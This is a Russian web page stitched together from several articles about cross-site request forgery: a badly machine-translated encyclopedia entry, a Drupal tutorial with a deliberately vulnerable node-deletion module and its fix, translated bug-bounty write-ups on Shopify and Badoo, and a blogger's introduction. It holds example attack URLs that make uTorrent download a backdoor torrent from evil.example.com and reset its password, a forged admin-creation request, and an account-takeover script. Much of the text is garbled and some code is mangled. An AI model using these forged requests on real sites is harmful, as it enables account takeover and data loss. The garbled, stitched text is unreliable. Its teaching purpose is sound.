Подозрение на атаку cross site request forgery. Уязвимость CSRF. Введение. Двухместный Отправить Cookie

  • 26.04.2022

Запрос Межсайтовая подделки , также известная как один клик атаки или сеанс езды и сокращенно CSRF (иногда выраженный морской прибой ) или XSRF , является одним из видов вредоносных эксплуатируют из веба - сайта , где несанкционированные команды передаются от пользователя , что веб приложение доверяет. Есть много способов, в которых вредоносный веб - сайт может передавать такие команды; специально созданные теги изображений, скрытые формы и JavaScript XMLHttpRequests, например, все это может работать без взаимодействия пользователя или даже знания. В отличии от межсайтового скриптинга (XSS), который использует доверие пользователя имеет для конкретного сайта, CSRF эксплуатирует доверие, что сайт имеет в браузере пользователя.

история

CSRF уязвимости известны и в некоторых случаях эксплуатации с 2001 года Поскольку осуществляется от пользователя IP - адрес , некоторые журналы веб - сайта может не иметь доказательства CSRF. Эксплойты занижены, по крайней мере публично, и по состоянию на 2007 г. было несколько хорошо документированных примеров:

  • Netflix веб - сайт в 2006 году были многочисленные уязвимости к CSRF, которые могли бы позволить атакующему выполнять такие действия, как добавление DVD в аренду очереди жертвы, изменить адрес доставки на счету, или изменения учетных данных для входа жертвы, чтобы полностью скомпрометировать счет,
  • Онлайн - банкинг веб - приложение ING Direct была уязвима для атак CSRF , что позволило незаконных денежных переводов.
  • Популярное видео веб - сайт YouTube был также уязвим для CSRF в 2008 году, и это позволило любому злоумышленнику выполнить практически все действия любого пользователя.
  • McAfee также уязвим для CSRF, что позволило злоумышленникам изменить свою систему компании.

Новые нападения на веб-устройства были проведены в 2018 году, в том числе попытки изменить настройки DNS маршрутизаторов. Некоторые производители маршрутизаторов поспешно выпустили обновление прошивки для улучшения защиты, и посоветовали пользователь изменять настройки маршрутизатора, чтобы уменьшить риск. Подробности не были освобождены, ссылаясь на «очевидные соображения безопасности».

Пример и характеристики

Злоумышленники, которые могут найти воспроизводимую ссылку, которая выполняет определенное действие на целевой странице, пока жертва регистрируется в может встроить такую ссылку на странице, которую они контролируют и обмануть жертву в его открытии. Ссылка атаки носителя может быть размещена в месте, что жертва, скорее всего, посетить, войдя в сайт - мишени (например, обсуждение на форуме), или отправить в теле письма HTML или вложении. Реальный CSRF уязвимости в Utorrent (CVE-2008-6586) использовали тот факт, что его веб - консоль доступна на локальном хосте : 8080 позволило критические действия, которые будут выполняться с помощью простого запроса GET:

Принудительная .torrent файл скачать HTTP: // локальный: 8080 / GUI / действие = добавление URL & s = HTTP: //evil.example.com/backdoor.torrent Изменение пароля администратора Utorrent HTTP: // локальный: 8080 / гуй / действие = setsetting & s = webui.password & v = eviladmin

Атаки были запущены путем размещения злонамеренных, автоматического действия элементов HTML изображений на форумах и спама в электронной почте , так что браузеры, посещающие эти страницы будут открывать их автоматически, без особых действий со стороны пользователя. Люди, работающие уязвимую версию Utorrent в то же время, открывая эти страницы были подвержены атаке.

CSRF атак с использованием тегов изображений часто делаются из интернет - форумов , где пользователи могут помещать сообщения изображения, но не JavaScript , например, с использованием BBCode :

Http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

При обращении к ссылке атаки на местном применении Utorrent на локальном хосте: 8080 , браузер будет также всегда автоматически отправлять любые существующие куки для этого домена. Это общее свойство веб - браузеров позволяет CSRF атак использовать свои целевые уязвимости и выполнения враждебных действий до тех пор, пока пользователь вошел в целевой веб - сайт (в данном примере локальный веб - интерфейс Utorrent) в момент нападения.

Запрос подлог кросс-сайт является запутаться заместитель атаки против веб - браузера.

CSRF обычно имеет следующие характеристики:

  • Она включает в себя сайты, которые полагаются на пользователя идентичности .
  • Он использует доверие сайта в этой идентичности.
  • Она обманывает браузер пользователя в отправке HTTP - запросы на целевой сайт.
  • Она включает в себя HTTP запросов, которые имеют побочные эффекты .
HTTP глаголы и CSRF
  • В HTTP GET эксплуатация CSRF тривиальна, используя методы, описанные выше, такие как простая гиперссылка , содержащей манипулируют параметры и автоматически загружается с помощью тега IMG . По спецификации HTTP однако, GET следует использовать в качестве безопасного метода , то есть существенно не изменяя состояние пользователя в приложении. Приложения, использующие GET для таких операций следует переключиться на HTTP POST или использовать защиту от CSRF.
  • HTTP POST имеет различные уязвимости к CSRF, в зависимости от подробных сценариев использования:
    • В простейшем виде POST с данными, закодированными в виде строки запроса (field1=value1&field2=value2) CSRF атаки легко реализуется с помощью простой формы HTML и анти-CSRF меры должны быть применены.
    • Если данные передаются в любом другом формате (JSON , XML) стандартный метод выдать запрос POST с использованием XMLHttpRequest с CSRF атак предотвращены СОП и ; есть метод для отправки произвольного содержимого из простой формы HTML с использованием ENCTYPE атрибута; такой поддельный запрос можно отличить от легитимных по text/plain типу контента, но если это не исполняется на сервере, CSRF может быть выполнен
  • другие методы HTTP (PUT, DELETE и т.д.) может быть выдан только с использованием XMLHttpRequest с СОП и и предотвращения CSRF; Однако эти меры не будут активны на веб - сайтах, которые явно отключить их с помощью Access-Control-Allow-Origin: * заголовка
Другие подходы к CSRF

Кроме того, в то время, как правило, описываются в качестве статического типа атаки, CSRF также может быть динамически построена как часть полезной нагрузки для сценариев межсайтовой атаки, как показана на Samy червь, или построенный на лету из информации о сеансе просочились через выездные содержания и послал к цели, как вредоносный URL. CSRF токены также может быть отправлены клиентом злоумышленником из - за фиксацию сессии или другие уязвимости, или угадали с помощью грубой силы атаки, переводимой на вредоносной странице, который генерирует тысячи неудачных запросов. Класс атаки «Dynamic CSRF», или с помощью полезной нагрузки каждого клиента для сеанса конкретного подлог, была описана в 2009 году Натан Hamiel и Шон Мойер на BlackHat брифингах, хотя систематика еще, чтобы получить более широкое применение.

Новый вектор для составления динамических атак CSRF был представлен Орен Офер на местном собрании OWASP главы января 2012 года - «АЯКС Молот - Dynamic CSRF».

Последствия

Серьезность показатели были выпущены на уязвимости CSRF , которые приводят к удаленному выполнению кода с привилегиями суперпользователя , а также уязвимость, которая может скомпрометировать корневой сертификат , который будет полностью подорвет инфраструктуру открытого ключа .

Ограничения

Некоторые вещи должны произойти для запроса межсайтового подлог, чтобы добиться успеха:

  • Злоумышленник должен предназначаться либо сайт, который не проверяет заголовок реферера или жертву с помощью браузера или плагин, который позволяет Referer подмену .
  • Атакующий должен найти форму представления на целевом сайте, или URL, который имеет побочные эффекты, что делает что-то (например, переводит деньги, или изменения адреса электронной почты жертвы или пароль).
  • Атакующий должен определить правильные значения для всех форм или входов URL; если любой из них должны быть секретные значения аутентификации или идентификаторы, что злоумышленник не сможет догадаться, что нападение, скорее всего, не в состоянии (если злоумышленник не очень повезло в их догадка).
  • Злоумышленник должен заманить жертву на веб-страницу с вредоносным кодом, пока жертва регистрируется в целевом сайте.
  • Атака слепа: атакующий не может видеть то, что целевой сайт отсылает обратно к жертве в ответ на кованых запросы, если они не эксплуатируют Межсайтовый скриптинг или другую ошибку на целевом сайте. Кроме того, злоумышленник может предназначаться только какой - либо ссылка или представить любые формы, которые приходят после первоначального кованого запроса, если эти последующие ссылки или формы так же предсказуемы. (Множественные цели могут быть смоделированы путем включения нескольких изображений на странице, или с помощью JavaScript , чтобы ввести задержку между щелчками.)

    С учетом этих ограничений, злоумышленник может иметь трудности в поиске анонимов жертв или уязвимую форма представления. С другой стороны, попытки атаки легко монтируется и незаметно для жертв, и разработчики приложений менее знакомы и подготовлены к атакам CS, чем они, скажем, для взлома паролей атак по словарю.

    профилактика

    Большинство методов профилактики CSRF работа пути внедрения дополнительных данных аутентификации в запросы, что позволяет веб-приложение для обнаружения запросов от несанкционированных мест.

    Синхронизатор маркер модели
    • При входе в систему, веб-приложение устанавливает печенье, содержащее случайный маркер, который остается неизменным на протяжении всего сеанса пользователя
    Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/
    • JavaScript работает на стороне клиента считывает значение и копирует его в пользовательский заголовок HTTP отправленного с каждым транзакционного запроса
    X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
    • Сервер проверяет наличие и целостность маркеров

    Безопасность этого метода основана на предположении, что только JavaScript работает в пределах того же происхождения , будет иметь возможность прочитать значение куков в. JavaScript работает с изгоями файла или адрес электронной почты не будет в состоянии прочитать и скопировать в пользовательский заголовок. Даже несмотря на то, CSRF-маркер куки будут автоматически отправлены с изгоев запроса, сервер будет по- прежнему ожидает действительный X-CSRF-токен заголовок .

    Маркер CSRF сам должен быть уникальным и непредсказуемым. Это может быть сгенерировано случайным образом, или же она может быть получена из маркеров сеанса с использованием HMAC :

    Csrf_token = HMAC(session_token, application_secret)

    Маркер печенье CS не должно иметь HTTPOnly флага, так как он предназначен для чтения с помощью JavaScript дизайна.

    Этот метод реализуется многими современными рамками, такими как Джанго и AngularJS . Поскольку маркер остается постоянной в течение всего сеанса пользователя, он хорошо работает с AJAX - приложений, но не обеспечивает последовательность событий в веб - приложения.

    Защита обеспечивается с помощью этого метода может быть сорвана, если целевой веб - сайт отключает свою политику того же происхождение , используя один из следующих методов:

    • Разрешительный Access-Control-Allow-Origin заголовок (с звездочкой аргумента)
    • clientaccesspolicy.xml файл предоставления непреднамеренного доступа к Silverlight управления
    • crossdomain.xml файл предоставления непреднамеренного доступа к флэш - роликов
    Двухместный Отправить Cookie

    Аналогично подход печенье к-заголовку, но без участия JavaScript, сайт может установить маркер CSRF как печенье, а также вставить его в скрытом поле в каждой HTML форме, отправляемый клиент. Когда форма отправлена, сайт может проверить, что маркер печенья соответствует форме маркеров. Политика общего происхождения препятствует взломщику от чтения или установок куков на целевом домене, поэтому они не могут поставить правильный маркер в их созданном виде.

    Преимущество этого метода над рисунком синхронизатора является то, что маркер не должен храниться на сервере.

    Клиентские гарантии

    Расширения браузера, такие как RequestPolicy (для Mozilla Firefox) или Umatrix (как для Firefox и Google Chrome / Chromium) может предотвратить CSRF, предоставляя политику по умолчанию, отрицаю для запросов кросс-сайта. Тем не менее, это может существенно помешать нормальной работе многих сайтов. Расширение CsFire (также для Firefox) может смягчить воздействие CSRF с меньшим воздействием на обычном просмотре, путем удаления информации об аутентификации от запросов кросс-сайта.

    Статья эвакуирована с DrupalDance.com

    Поводом к написанию этой статьи послужило нахождение мною уязвимости в одном довольно известном модуле. Так как по правилам обнаружения уязвимостей , я пока не вправе распространяться о деталях, то расскажу об уязвимости в общих чертах, а также о методах борьбы с ней.

    Итак, подделка межсайтовых запросов (анг. Сross Site Request Forgery, или, сокращенно, CSRF): что это такое и с чем его едят.

    CSRF - это вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP. Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную операцию (например, перевод денег на счёт злоумышленника). Для осуществления данной атаки, жертва должна быть авторизована на том сервере, на который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со стороны пользователя.

    Данный тип атак, вопреки распространённому заблуждению, появился достаточно давно: первые теоретические рассуждения появились в 1988 году, а первые уязвимости были обнаружены в 2000 году.

    Одно из применений СSRF - эксплуатация пассивных XSS, обнаруженных на другом сервере. Так же возможны отправка спама от лица жертвы и изменение каких-либо настроек учётных записей на других сайтах(например, секретного вопроса для восстановления пароля).

    Живой пример

    Например, нам нужно сделать небольшой модуль, который должен аяксом удалять ноды. Это можно реализовать служебной ссылкой ноды, при нажатии которой, отправляется аякс запрос на друпаловский путь. К этому пути прицеплен обработчик, который и удаляет ноду. Вот примерно таким модулем все и делается:

    node_destroy.module /** * Реализация hook_menu(). Регистрирует наш коллбек в системе меню. */ function node_destroy_menu() { $menu["node/%node/destroy"] = array("page_callback" => "node_destroy", "page_arguments" => array(1), "access_arguments" => array("administer nodes"), "type" => MENU_CALLBACK,); return $menu; } /** * Реализация коллбека. */ function node_destroy($node) { if ($node->nid) { node_delete($node->nid); print("SUCCESS"); } // в коллбеках для аякса почти всегда надо принудительно завершать скрипт, // чтобы не выводить оформление сайта вместе с вашими данными exit(); } /** * Реализация hook_link(). Добавляем свою ссылку в служебные ссылки ноды. */ function node_destroy_link($type, $node = NULL, $teaser = FALSE) { switch ($type) { case "node": // если эта функция вызывается, значит мы выводим ссылки ноды, // а это значит, что нам и скрипты нужны $path = drupal_get_path("module", "node_destroy"); drupal_add_js($path ."/node_destroy.js"); // собственно, добавление ссылки $links["node_destroy"] = array("title" => t("Destroy node"), "href" => "node/$node->nid/destroy", "attributes" => array("class" => "node_destroy_link"),); break; } return $links; } node_destroy.js // Таким нехитрым путем правильно инициализировать некие действия // вместо обычного $(document).ready(function() { ... }) Drupal.behaviors.node_destroy = function(context) { // Мы перебираем все наши ссылочки и навешиваем на них аякс запросы. // Заметьте необычный селектор. Он предотвратит двойное навешивание обработчиков. $(".node_destroy_link:not(.processed)", context).addClass("processed").click(function(){ href = $(this).attr("href"); $.ajax({ type: "GET", url: href, success: function(result){ // SUCCESS нам возвращает наш коллбек меню, если все замечательно if (result != "SUCCESS") { alert("Error"); } } }); }); }

    И все бы хорошо, но в один солнечный день, на сайт приходит злой тролль... Или более жизненная ситуация - озлобленный бывший сотрудник приходит на сайт и пытается его поломать. Помня старый опыт, он пробует зайти по адресу http://site.ru/node/123/destroy , но получает от ворот поворот, так как уже не имеет прав на удаление материалов.

    И тут, в порыве деструктивного креатива, он создает ноду с таким контетом:

    Что происходит в этот момент? Никакая картинка, естественно, не подгрузится, но браузер тролля выполнит запрос на этот путь с прежним результатом.

    Смирившись с неудачей, тролль уходит с сайта. Через день, администратор сайта замечает эту мусорную ноду, заходит в нее и удаляет. А вернувшись в список материалов, не находит в нем ноды с айдишником 123. Атака удалась. Занавес.

    Для тех, кто не понял, когда администратор зашел в ноду, его браузер тоже ломанулся по ссылке картинки. Но здесь уже прав доступа хватило, и нода была успешно удалена, а админ даже ничего не заметил.

    Как избежать CSRF уязвимостей?

    Ответ - использовать уникальные ссылки для действий по изменению данных. Как это возможно? В друпале используется метод токенизации ссылок. Это означает, что к ссылке активного действия, прибавляется уникальный параметр, который проверяется при осуществлении самого действия. В друпале сгенерировать такой параметр можно функцией drupal_get_token() . Проверить -drupal_valid_token() . Токен генерируется на основе подаваемого значения, сессии пользователя, а также приватного ключа сайта, что практически сводит на ноль вероятность генерации вредителем правильного токена.

    Внесем изменения в наш модуль. Начнем с выставления правильной ссылки:

    Function node_destroy_link($type, $node = NULL, $teaser = FALSE) { switch ($type) { case "node": $path = drupal_get_path("module", "node_destroy"); drupal_add_js($path ."/node_destroy.js"); $links["node_destroy"] = array("title" => t("Destroy node"), "href" => "node/$node->nid/destroy", "attributes" => array("class" => "node_destroy_link"), // query - это все GET параметры, т.е. все что в ссылке находится после знака вопроса // мы добавляем параметр token "query" => "token=". drupal_get_token("node_destroy_". $node->nid)); break; } return $links; }

    Как вы помните, мы шлем аякс запрос по адресу, который зашит в ссылке, поэтому в коллбеке нам остается только проверить $_GET стандартным способом.

    Function node_destroy($node) { if ($node->nid && isset($_GET["token"]) && drupal_valid_token($_GET["token"], "node_destroy_". $node->nid)) { node_delete($node->nid); print("SUCCESS"); } exit(); }

    Cross Site Request Forgery, или CSRF, является атакой, которая осуществляется в тот момент, когда вредоносный сайт, письмо, сообщение, приложение или что-либо иное заставляет браузер пользователя выполнить некоторые действия на другом сайте, где этот пользователь уже аутентифицирован. Зачастую это происходит без ведома пользователя.

    Вред от CSRF-атаки зависит от сайта, принимающего действие. Вот пример:

  • Бобвходитвсвойличныйкабинетвбанковскомонлайнклиенте, выполняет какие-то операции, но не разлогинивается.
  • Бобпроверяетсвоюпочтуикликаетнассылку,ведущую на незнакомый сайт.
  • Незнакомыйсайтделаетзапросконлайн-клиентубанка Боба на перевод денег, передавая информацию в cookie Боба, сохранившуюся с предыдущей его сессии.
  • СайтбанкаБобапринимаетзапросотнезнакомого(вредоносного) сайта без использования CSRF-токена и выполняет перевод.
  • Еще более интересна ситуация, когда ссылка на вредоносный
    сайт может содержаться в валидном HTML, благодаря чему Бо-
    бу даже не придется нажимать на ссылку: . Если устройство Боба (например, браузер) отрису-
    ет это изображение, оно сделает запрос к malicious_site.com и потенциально совершит CSRF-атаку.

    Теперь, зная об опасностях, которые несут CSRF-атаки, вы можете защититься от них множеством способов, самым популярным из которых, возможно, является использование CSRFтокена, который должен отправляться с любым запросом, который потенциально может изменять данные (например, с POST-запросами). Веб-приложение (такое, как онлайн-банк Боба) должно будет сгенерировать токен, состоящий из двух частей, одну из которых получит Боб, а вторая будет сохранена в приложении.

    Когда Боб попытается совершить запрос на перевод денег, он должен будет отправить токен, который будет проверен банком на валидность при помощи токена, хранящегося в приложении.

    Теперь, когда мы знаем о CSRF и CSRF-токенах, Cross Origin Resource Sharing (CORS) становится более понятным, хотя возможно, я просто заметил это по мере исследования новых целей. В общем, CORS ограничивает список ресурсов, которые могут получать доступ к данным. Другими словами, когда CORS используется для защиты сайта, вы можете написать Javascript для вызова целевого приложения, прочитать ответ и сделать другой вызов, если целевой сайт вам это позволяет.

    Если это кажется непонятным, то попробуйте с помощью Javascript сделать вызов к HackerOne.com/activity.json, прочитать ответ и сделать второй вызов. Вы также увидите важность этого и потенциальные способы обхода в примере #3 ниже.

    Наконец, важно заметить (спасибо Джоберту Абме за указание на этот момент), что не каждый запрос без CSRF-токена является невалидным. Некоторые сайты могут выполнять дополнительные проверки, такие, как сравнение заголовка исходящей стороны (хотя это не является гарантией безопасности и есть известные случаи обхода). Это поле, которое идентифицирует адрес страницы, которая ссылается на запрашиваемый ресурс. Другими словами, если исходящая сторона (реферер)

    выполняет POST-вызов не с того же сайта, который получил HTTP-запрос, сайт может не позволить вызову достигнуть того же эффекта, что достигается с использованием CSRFтокена. Кроме того, не каждый сайт использует терми csrf при создании или определении токена. Например, на Badoo это параметр rt, как описано ниже.

    Прочтите руководство по тестированию на OWASP Testing for CSRF

    Примеры 1. Экспорт установленных пользователей Shopify

    Сложность: Низкая
    Url: https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users


    Описание:

    API Shopify предоставляет эндпоинт для экспорта списка установленных пользователей через URL, показанный выше. Уязвимость заключалась в том, что сайт мог сделать запрос к этому эндпоинту и получить в ответ информацию, поскольку

    Shopify не использовал CSRF-токен для валидации этого запроса. В результате, следующий HTML-код мог быть использован для отправки формы от имени ничего не подозревающей жертвы.

    1 2 csrf 3 4 7 8 9

    В этом примере при простом посещении страницы Javascript отправляет форму, которая включает GET-запрос к API Shopify, используя cookie Shopify, установленные в браузере жертвы.

    Выводы

    Увеличивайте масштаб ваших атак и ищите баги не только на сайте, но и в API. Эндпоинты API также являются потенциальной площадкой для использования уязвимостей, так что стоит помнить об этом, особенно, если вы знаете, что API мог быть разработан или стать доступным после того, как был создан веб-интерфейс.

    2. Отключение Shopify от Twitter

    Сложность: Низкая
    Url: https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect

    Shopify предоставляет интеграцию с Twitter, что позволяет владельцам магазинов постить твиты о своих продуктах. Подобным образом сервис позволяет и отключить аккаунт Twitter от связанного магазина.

    URL для отключения аккаунта Twitter от магазина указан выше. При совершении запроса Shopify не валидировал CSRFтокен, что позволило злоумышленнику создать фальшивую ссылку, клик на которую приведет ничего не подозревающего владельца магазина к отключению его магазина от Twitter.

    Описывая уязвимость, WeSecureApp предоставил следующий пример уязвимого запроса обратите внимание, что использование тега img делает вызов к уязвимому URL:

    1 GET /auth/twitter/disconnect HTTP/1.1 2 Host: twitter-commerce.shopifyapps.com 3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.1 4 1; rv:43.0) Gecko/20100101 Firefox/43.0 5 Accept: text/html, application/xhtml+xml, application/x 6 ml 7 Accept-Language: en-US,en;q=0.5 8 Accept-Encoding: gzip, deflate 9 Referer: https://twitter-commerce.shopifyapps.com/accou 10 nt 11 Cookie: _twitter-commerce_session=REDACTED 12 >Connection: keep-alive

    Поскольку браузер выполняет GET-запрос для получения изображения по переданному URL и CSRF-токен не валидируется, пользовательский магазин теперь отключен:

    1 2 3 5 6

    Выводы

    В этой ситуации, описанная уязвимость могла быть найдена при использовании проксисервера, такого, как Burp или Firefox Tamper Data, достаточно было взглянуть на запрос, отправляемый к Shopify и увидеть, что этот запрос был осуществлен с помощью GET-запроса. Поскольку это было разрушительное действие и GETзапросы не должны изменять данные на сервер, это стоит исследовать.

    3. Полный захват аккаунта на Badoo

    Сложность: Средняя
    Url: https://badoo.com
    Ссылка на отчет: https://hackerone.com/reports/12770312
    Дата отчета: 1 апреля 2016
    Выплаченное вознаграждение: $852

    Описание:

    Если вы взглянете на Badoo, выпоймете, что они защищаются от CSRF включением в URL параметра rt, который имеет длину всего в 5 символов (по крайней мере, на момент написания). Хотя я заметил это, когда Badoo запустил кампанию на HackerOne, я не нашел способа это использовать. Однако, Махмуд Джамал (zombiehelp54) нашел.

    Поняв значение параметра rt, он также заметил, что параметр возвращался в почти всех json-ответах. К сожалению, это не принесло пользы, поскольку CORS защищает Badoo от атак, читая эти ответы. Махмуд продолжил искать.

    Оказалось, что файл https://eu1.badoo.com/worker-scope/chrome-ser содержит значение rt. Еще лучше было то, что этот файл
    мог быть произвольно прочитан атакующим и не требовал от
    жертвы никаких действий кроме посещения вредоносной веб-страницы. Вот код, который он предоставил:

    1 2 3 Badoo account take over 4 6 7 8 9 function getCSRFcode(str) { 10 return str.split(’=’); 11 } 12 window.onload = function(){ 13 var csrf_code = getCSRFcode(url_stats); 14 csrf_url = ’https://eu1.badoo.com/google/verify.phtml?c 15 ode=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authu 16 ser=3&session_state=7cb17 4b560..a810&prompt=none&rt=’+ csrf_code; 18 window.location = csrf_url; 19 }; 20

    В общем, когда жертва загружала страницу, она делала запрос к скрипту Badoo, забирала параметр rt для этого пользователя и затем делала запрос от имени жертвы. В этом случае, это было связывание аккаунта Махмуда с аккаунтом жертвы, что позволяло полностью захватить аккаунт.

    Выводы

    Где дым, там и огонь, Здесь Махмуд заметил, что параметр rt возвращался в разных местах, в конкретных json-ответах. Поэтому он правильно предположил, что он может быть показан где-то, где его можно будет использовать в этом случае в js файле.

    Итоги

    CSRF-атаки представляют другой опасный вектор для атак и могут быть быть выполнены без активных действий со стороны жертвы или вообще без её уведомления. Обнаружение CSRF-уязвимостей требует некоторой изобретательности и, опять же, желания тестировать все подряд.

    Как правило, формы стандартно защищены фреймворками вроде Rails если сайт выполняет POST-запрос, но API могут

    быть отдельной историей. Например, Shopify написан в основном на основе фреймворка Ruby on Rails, который предоставляет защиту от CSRF-атак для всех форм по умолчанию (хотя её и можно отключить). Однако, очевидно, что это не обязательно так для API, созданных с помощью этого фреймворка. Наконец, обращайте внимание на вызовы, которые изменяют данные на сервере (такие, как действие удаления) и выполняются с помощью GET-запроса.

    Да я помню что я обещал в предыдущем сообщении написать про капчу, но, честно говоря, писать про эти капчи у меня уже сил нет. Да и надоело то, что мне, как аналитику ИБ, приходят в личку только предложения по взлому капч, и никакой другой нормальной работы.

    В общем буду подниматься в глазах публики, начну писать статьи касательно безопасности. Мой профиль это в основном безопасность веб приложений, поэтому и писать я буду про безопасность веб приложений, в том числе и про уязвимости этих приложений.

    Этот цикл статей будет посвящен CSRF уязвимостям . Не слышали такой термин? Значит этот цикл для вас;)

    Введение

    Конечно, нынче уже каждый более менее опытный разработчик наслышан про такие классические уязвимости как:

    • SQL injection
    • PHP include

    Раньше, на заре развития интернета, практически каждое приложение содержало кучу таких уязвимостей. Но с каждым днем становилось все сложней встретить уязвимости такого типа. И взломщики становились все более изощреннее, что приводило к разработкам новых типов и векторов атаки — один из этих типов атаки был выделен в отдельный класс и получил название CSRF.

    Что такое CSRF. Теория

    Зайдем на википедию:

    CSRF (англ. Сross Site Request Forgery - «Подделка межсайтовых запросов», также известен как XSRF) - вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP. Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную операцию (например, перевод денег на счёт злоумышленника). Для осуществления данной атаки, жертва должна быть авторизована на том сервере, на который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со стороны пользователя, который не может быть проигнорирован или подделан атакующим скриптом.

    Если более понятным языком, то это атака, при которой злоумышленник пытается вынудить браузер жертвы создать запрос к целевому серверу, втайне от самой жертвы. Схематично это будет выглядеть следующим образом:

    Данная атака в чем то похоже на классическую XSS, в которой злоумышленнику необходимо было вынудить жертву перейти по некоторой ссылке на уязвимую страницу. Здесь же необходимо вынудить пользователя перейти на специально подготовленную злоумышленником страницу, на которую был добавлен некоторый код. При выполнении данного кода браузер жертвы совершает некий запрос к другому серверу (допустим под видом загрузки изображения), и тем самым выполняет некие, нужные злоумышленнику, действия.

    Опасность CSRF в том, что данное поведение браузеров и всего HTTP протокола является нормальным. К примеру, ведь нормально то, что сайт может на своих страницах содержать картинки с другого сайта. А браузеру неизвестно заранее что именно пытаются заставить его загрузить, действительно картинку, или под видом данной загрузки будет выполнено какое то действие на целевом сайте.

    Немножко практики

    Возьмем, к примеру, целевой сферический сайт в вакууме, который имеет вполне стандартную админку с функцией добавления нового администратора:

    Разработчик данной формы ничего не знал об уязвимости CSRF, и защиты от нее он, естественно, не делал. Ну и плюс ко всему (чтобы пример был проще) он передавал данные методом GET. По нажатию кнопки «создать» браузер сформирует запрос к следующей странице:
    http://site/admin/?do=add_admin&new_login=NewAdmin&new_pass=NewPass&new_mail=NewAdmin@Mail.Com
    И после того как запрос будет выполнен, на данном сайте появится новый администратор. Казалось бы что с того — это вполне обычная функциональность на многих сайтах. Но здесь то и кроется главная ошибка. Жертву можно заставить выполнить данный запрос при заходе на абсолютно другой сайт. Создаем следующую страницу по адресу http://evil/page.html


    Обычная страница


    С обычным текстом. Но с необычным содержимым



    И теперь, если жертва зайдет на http://evil/page.html , то браузер попытается загрузить картинку, но вместо этого выполнит запрос к админ панели, тем самым создав нового администратора. Единственным обязательным условием успешной эксплуатации данной уязвимости является необходимость того, что жертва должна быть авторизована на уязвимом сервере в момент проведения атаки.

    Заключение

    С тем, что такое CSRF мы разобрались. Давайте попробуем выделить основные требования для успешного проведения атаки:

    • Возможность вынудить жертву перейти на страницу с дополнительным кодом. Или возможность модификации злоумышленником часто посещаемых жертвой страниц (как говорится если гора не идет к Магомету, то…).
    • Отсутствие защиты от CSRF на целевом сайте (о ней в ).
    • Пользователь в момент атаки должен быть авторизован для действия, которое мы хотим выполнить от его имени.

    И на основе этих требований попытаемся построить защиту в следующей статье…